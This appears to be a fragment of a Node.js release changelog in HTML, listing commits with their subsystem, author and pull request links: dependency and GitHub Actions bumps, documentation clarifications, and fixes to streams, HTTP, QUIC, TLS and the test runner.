<li>[<a href="https://github.com/nodejs/node/commit/feefd179e5"><code>feefd179e5</code></a>] - <strong>deps</strong>: V8: cherry-pick 1a391f98cc7a (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ef643d4b0"><code>8ef643d4b0</code></a>] - <strong>deps</strong>: update googletest to 0b1e895ba4226c2fda5ee0178c9b5b1195a741aa (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64039" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64039/hovercard">#64039</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e50bb0655"><code>9e50bb0655</code></a>] - <strong>dgram</strong>: skip dns.lookup() for literal IP addresses (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/64133" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64133/hovercard">#64133</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc052c095c"><code>dc052c095c</code></a>] - <strong>diagnostics_channel</strong>: return original thenable (Stephen Belanger) <a href="https://github.com/nodejs/node/pull/62407" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62407/hovercard">#62407</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a22a840293"><code>a22a840293</code></a>] - <strong>doc</strong>: clarify QUIC stream state wording (EduardF1) <a href="https://github.com/nodejs/node/pull/63660" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63660/hovercard">#63660</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d4bec2d71"><code>8d4bec2d71</code></a>] - <strong>doc</strong>: update Http2SecureServer.on("timeout") default value (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/64187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64187/hovercard">#64187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da88f70afa"><code>da88f70afa</code></a>] - <strong>doc</strong>: add note on visibility of CI failures to new contributor guide (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64256/hovercard">#64256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/20ce359ccb"><code>20ce359ccb</code></a>] - <strong>doc</strong>: clarify HTTP/1.1 response ordering (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64213" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64213/hovercard">#64213</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/05eae2835c"><code>05eae2835c</code></a>] - <strong>doc</strong>: recommend node-stress-single-test for flaky tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64223" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64223/hovercard">#64223</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3966eb67e7"><code>3966eb67e7</code></a>] - <strong>doc</strong>: fix typo in examples (Vas Sudanagunta) <a href="https://github.com/nodejs/node/pull/64184" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64184/hovercard">#64184</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12a2b9daa3"><code>12a2b9daa3</code></a>] - <strong>doc</strong>: fix typo in node-config-schema.json (Hamid Reza Ghavami) <a href="https://github.com/nodejs/node/pull/64188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64188/hovercard">#64188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0854482671"><code>0854482671</code></a>] - <strong>doc</strong>: clarify defense-in-depth issues (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64215" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64215/hovercard">#64215</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef4915fc3a"><code>ef4915fc3a</code></a>] - <strong>doc</strong>: fix Fast FFI argument count in ffi.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63960" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63960/hovercard">#63960</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb2eed863c"><code>bb2eed863c</code></a>] - <strong>doc</strong>: add sxa GPG key (ed25519) (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64193" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64193/hovercard">#64193</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7bf6e3a06"><code>b7bf6e3a06</code></a>] - <strong>doc</strong>: add guide and answers to FAQs for first-time contributors (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63685" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63685/hovercard">#63685</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ff537ba858"><code>ff537ba858</code></a>] - <strong>doc</strong>: update <code>Http2Server.close</code> &amp; <code>Http2SecureServer.close</code> (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/63298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63298/hovercard">#63298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f3db304588"><code>f3db304588</code></a>] - <strong>doc</strong>: update list of people in <code>SECURITY.md</code> (Richard Lau) <a href="https://github.com/nodejs/node/pull/64152" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64152/hovercard">#64152</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a126647b0"><code>2a126647b0</code></a>] - <strong>doc</strong>: clarify vfs is not a sandbox (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64143" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64143/hovercard">#64143</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85fc79dd9b"><code>85fc79dd9b</code></a>] - <strong>doc</strong>: fix broken links and duplicate stability label (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64130" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64130/hovercard">#64130</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/189e830eb3"><code>189e830eb3</code></a>] - <strong>doc</strong>: add missing option to man page (Richard Lau) <a href="https://github.com/nodejs/node/pull/64156" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64156/hovercard">#64156</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a16ccccd0"><code>7a16ccccd0</code></a>] - <strong>doc</strong>: announce upcoming end of tier 2 support for macOS x64 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63931" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63931/hovercard">#63931</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5f826045f"><code>d5f826045f</code></a>] - <strong>doc</strong>: update toolchain for official AIX releases (Richard Lau) <a href="https://github.com/nodejs/node/pull/64068" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64068/hovercard">#64068</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60abc4400f"><code>60abc4400f</code></a>] - <strong>doc</strong>: fix callback example import in fs docs (Kamal Rawal) <a href="https://github.com/nodejs/node/pull/63912" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63912/hovercard">#63912</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e470c74a6c"><code>e470c74a6c</code></a>] - <strong>doc</strong>: fix keepAliveTimeout default in http.createServer options (Jahanzaib iqbal) <a href="https://github.com/nodejs/node/pull/63974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63974/hovercard">#63974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/851b460583"><code>851b460583</code></a>] - <strong>esm</strong>: improve ERR_REQUIRE_ASYNC_MODULE (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64260" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64260/hovercard">#64260</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cd443df39"><code>0cd443df39</code></a>] - <strong>esm</strong>: print required top-level await locations without evaluating (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64154" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64154/hovercard">#64154</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b373202efc"><code>b373202efc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>esm</strong>: add <code>--experimental-import-text</code> flag (Efe) <a href="https://github.com/nodejs/node/pull/62300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62300/hovercard">#62300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eacfbd0ca5"><code>eacfbd0ca5</code></a>] - <strong>http</strong>: add CONNECT method handling for default Host header with proxy (Archkon) <a href="https://github.com/nodejs/node/pull/64114" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64114/hovercard">#64114</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aeb539a383"><code>aeb539a383</code></a>] - <strong>http</strong>: fix drain event with cork/uncork (David Evans) <a href="https://github.com/nodejs/node/pull/64038" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64038/hovercard">#64038</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e8874b216"><code>8e8874b216</code></a>] - <strong>http</strong>: document and validate options.path when it's in absolute-form (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64108" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64108/hovercard">#64108</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eb2e96bc28"><code>eb2e96bc28</code></a>] - <strong>inspector</strong>: fix crash when writing to closed inspector socket (ympark2011) <a href="https://github.com/nodejs/node/pull/64209" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64209/hovercard">#64209</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/243b0e4e57"><code>243b0e4e57</code></a>] - <strong>lib</strong>: reject string "0" in validatePort when allowZero is false (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64174" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64174/hovercard">#64174</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34a537c0ed"><code>34a537c0ed</code></a>] - <strong>lib</strong>: use <code>__proto__: null</code> when calling <code>ObjectDefineProperty</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64239/hovercard">#64239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1f72393f19"><code>1f72393f19</code></a>] - <strong>lib</strong>: lazily initialize kEvents and kHandlers maps (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/63702" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63702/hovercard">#63702</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92a3dc3191"><code>92a3dc3191</code></a>] - <strong>lib,permission</strong>: fix addon permission drop (Martin Wagner) <a href="https://github.com/nodejs/node/pull/64007" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64007/hovercard">#64007</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87b8f2a296"><code>87b8f2a296</code></a>] - <strong>meta</strong>: fix linter warning in <code>stale.yml</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64281/hovercard">#64281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/829c4a5913"><code>829c4a5913</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.5 to 6.1.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64248" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64248/hovercard">#64248</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0808dcd31c"><code>0808dcd31c</code></a>] - <strong>meta</strong>: bump github/codeql-action/autobuild from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64247" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64247/hovercard">#64247</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64aa17058f"><code>64aa17058f</code></a>] - <strong>meta</strong>: bump github/codeql-action/analyze from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64246" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64246/hovercard">#64246</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/873d1e0412"><code>873d1e0412</code></a>] - <strong>meta</strong>: bump actions/checkout from 6.0.2 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64245" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64245/hovercard">#64245</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe460ccf0b"><code>fe460ccf0b</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 6.0.1 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64244/hovercard">#64244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/845c63ed50"><code>845c63ed50</code></a>] - <strong>meta</strong>: bump rtCamp/action-slack-notify from 2.3.3 to 2.4.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64243" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64243/hovercard">#64243</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cad2d6de5"><code>2cad2d6de5</code></a>] - <strong>meta</strong>: bump github/codeql-action/init from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64242" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64242/hovercard">#64242</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0ddde950c7"><code>0ddde950c7</code></a>] - <strong>meta</strong>: bump actions/setup-python from 6.2.0 to 6.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64241" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64241/hovercard">#64241</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c0a8760d2f"><code>c0a8760d2f</code></a>] - <strong>meta</strong>: bump github/codeql-action/upload-sarif from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64240/hovercard">#64240</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f49704b9d0"><code>f49704b9d0</code></a>] - <strong>meta</strong>: clarify V8 flags are outside threat model (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64224" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64224/hovercard">#64224</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b8dc58e6e"><code>6b8dc58e6e</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64057" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64057/hovercard">#64057</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe5260cca7"><code>fe5260cca7</code></a>] - <strong>meta</strong>: update status of past strategic initiatives (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63480" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63480/hovercard">#63480</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b01040008"><code>7b01040008</code></a>] - <strong>meta</strong>: speed up stale bot (Aviv Keller) <a href="https://github.com/nodejs/node/pull/64075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64075/hovercard">#64075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/874c46c24f"><code>874c46c24f</code></a>] - <strong>meta</strong>: update sccache version in test-linux-quic (René) <a href="https://github.com/nodejs/node/pull/64043" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64043/hovercard">#64043</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/48c5c86363"><code>48c5c86363</code></a>] - <strong>module</strong>: enable import support for addons by default (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64221" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64221/hovercard">#64221</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39e0c14455"><code>39e0c14455</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>perf_hooks</strong>: sample delay per event loop iteration (Pablo Erhard) <a href="https://github.com/nodejs/node/pull/62935" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62935/hovercard">#62935</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f90f1bd032"><code>f90f1bd032</code></a>] - <strong>perf_hooks</strong>: add NODE_PERFORMANCE_GC_MINOR_MARK_SWEEP constant (Attila Szegedi) <a href="https://github.com/nodejs/node/pull/63877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63877/hovercard">#63877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bdf32628c7"><code>bdf32628c7</code></a>] - <strong>process</strong>: fix finalization cleanup ref tracking (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64087/hovercard">#64087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a65b7fff4"><code>9a65b7fff4</code></a>] - <strong>quic</strong>: drop version negotiation packets with oversized CIDs (Mohamed Sayed) <a href="https://github.com/nodejs/node/pull/64228" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64228/hovercard">#64228</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2699fe4706"><code>2699fe4706</code></a>] - <strong>quic</strong>: fixes undefined handle in QuicStream kInspect (Marten Richter) <a href="https://github.com/nodejs/node/pull/64170" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64170/hovercard">#64170</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00dea28bb3"><code>00dea28bb3</code></a>] - <strong>repl</strong>: lazy-load acorn and defer vm context creation (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63879" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63879/hovercard">#63879</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce659a1cf9"><code>ce659a1cf9</code></a>] - <strong>src</strong>: fix escaping of single quotes in task runner (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64089" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64089/hovercard">#64089</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbb3126e5c"><code>dbb3126e5c</code></a>] - <strong>src</strong>: abstract tracing agent for both legacy and perfetto (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64053" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64053/hovercard">#64053</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12edf1d68d"><code>12edf1d68d</code></a>] - <strong>src</strong>: avoid redundant call to <code>std::get_if&lt;&gt;()</code> (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64094" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64094/hovercard">#64094</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eda91b6d01"><code>eda91b6d01</code></a>] - <strong>src</strong>: avoid copying source string in TextEncoder.encode (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63897" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63897/hovercard">#63897</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/efbbb9a03c"><code>efbbb9a03c</code></a>] - <strong>stream</strong>: preserve half-open duplexes in async iteration (Efe) <a href="https://github.com/nodejs/node/pull/64275" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64275/hovercard">#64275</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/999a83c937"><code>999a83c937</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: expose ReadableStreamTee (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64195" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64195/hovercard">#64195</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab5ed72903"><code>ab5ed72903</code></a>] - <strong>stream</strong>: reject iter consumers on abort (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64066/hovercard">#64066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3fa77c5e2"><code>d3fa77c5e2</code></a>] - <strong>stream</strong>: fix merge abort for pending sources (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64013/hovercard">#64013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38b99140ed"><code>38b99140ed</code></a>] - <strong>stream</strong>: refactor unnecessary optional chaining away (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64253" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64253/hovercard">#64253</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c81f894ebe"><code>c81f894ebe</code></a>] - <strong>stream</strong>: cut per-chunk overhead in WHATWG streams (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64252" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64252/hovercard">#64252</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f162234f24"><code>f162234f24</code></a>] - <strong>stream</strong>: normalize Broadcast.from() byte inputs (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64082/hovercard">#64082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1182ad8f3b"><code>1182ad8f3b</code></a>] - <strong>stream</strong>: proxy first own method in Readable.wrap() (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64048" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64048/hovercard">#64048</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0b830b382"><code>d0b830b382</code></a>] - <strong>stream</strong>: observe abort while awaiting pipeTo source (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64015" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64015/hovercard">#64015</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7adcd8359"><code>f7adcd8359</code></a>] - <strong>stream</strong>: respect iter consumer abort signals (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63997" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63997/hovercard">#63997</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b09e624c6f"><code>b09e624c6f</code></a>] - <strong>test</strong>: make blob desiredSize assertion robust (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64106" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64106/hovercard">#64106</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0d8f0c774"><code>d0d8f0c774</code></a>] - <strong>test</strong>: update WPT for urlpattern to 11a459a2b1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64037" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64037/hovercard">#64037</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ff9122c20c"><code>ff9122c20c</code></a>] - <strong>test</strong>: improve lcov reporter snapshot diagnostics (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64049" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64049/hovercard">#64049</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/570952d4f3"><code>570952d4f3</code></a>] - <strong>test</strong>: keep finalization close fixture ref alive (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64085" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64085/hovercard">#64085</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b4f213380"><code>1b4f213380</code></a>] - <strong>test</strong>: fix typo from overriden to overridden (parkhojeong) <a href="https://github.com/nodejs/node/pull/63403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63403/hovercard">#63403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c91090b8b"><code>4c91090b8b</code></a>] - <strong>test</strong>: fix typo from funciton to function (parkhojeong) <a href="https://github.com/nodejs/node/pull/63403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63403/hovercard">#63403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bf080c7917"><code>bf080c7917</code></a>] - <strong>test</strong>: mark hr-time WPT flaky on macos15-x64 (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64054" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64054/hovercard">#64054</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/24e32098c5"><code>24e32098c5</code></a>] - <strong>test</strong>: use one-off agent in http consumed timeout test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64052" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64052/hovercard">#64052</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3229886de2"><code>3229886de2</code></a>] - <strong>test</strong>: fix flaky test-runner coverage threshold test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64051/hovercard">#64051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83b91ea6ec"><code>83b91ea6ec</code></a>] - <strong>test_runner</strong>: filter execArgv fallback for child tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64056" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64056/hovercard">#64056</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/269b609a3d"><code>269b609a3d</code></a>] - <strong>test_runner</strong>: improve coverage failure diagnostics (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64050/hovercard">#64050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0342744c34"><code>0342744c34</code></a>] - <strong>test_runner</strong>: add timestamp to JUnit reporter testsuites (sangwook) <a href="https://github.com/nodejs/node/pull/64029" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64029/hovercard">#64029</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/086741d121"><code>086741d121</code></a>] - <strong>timers</strong>: reuse Timeout objects in setStreamTimeout (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64254" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64254/hovercard">#64254</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e0236dc3d"><code>4e0236dc3d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: report negotiated TLS groups (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64119" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64119/hovercard">#64119</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3bdd7e20be"><code>3bdd7e20be</code></a>] - <strong>tls</strong>: handle large RSA exponents in X.509 cert (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64093/hovercard">#64093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c96c838977"><code>c96c838977</code></a>] - <strong>tools</strong>: update RUSTC_VERSION for remaining GHA workflows (René) <a href="https://github.com/nodejs/node/pull/64325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64325/hovercard">#64325</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee873b7aaf"><code>ee873b7aaf</code></a>] - <strong>tools</strong>: bump <code>temporal_rs</code> version (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63281/hovercard">#63281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea3b870155"><code>ea3b870155</code></a>] - <strong>tools</strong>: remove <code>envinfo</code> from our workflows (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64259" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64259/hovercard">#64259</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d940f02e8b"><code>d940f02e8b</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 8 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64249/hovercard">#64249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe0ea2bb5d"><code>fe0ea2bb5d</code></a>] - <strong>tools</strong>: bump @node-core/doc-kit (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64010" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64010/hovercard">#64010</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4dceefde1e"><code>4dceefde1e</code></a>] - <strong>tools</strong>: bump undici from 6.24.1 to 6.27.0 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64031" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64031/hovercard">#64031</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e187db7d7"><code>6e187db7d7</code></a>] - <strong>tools</strong>: update c-ares updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64194" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64194/hovercard">#64194</a></li>
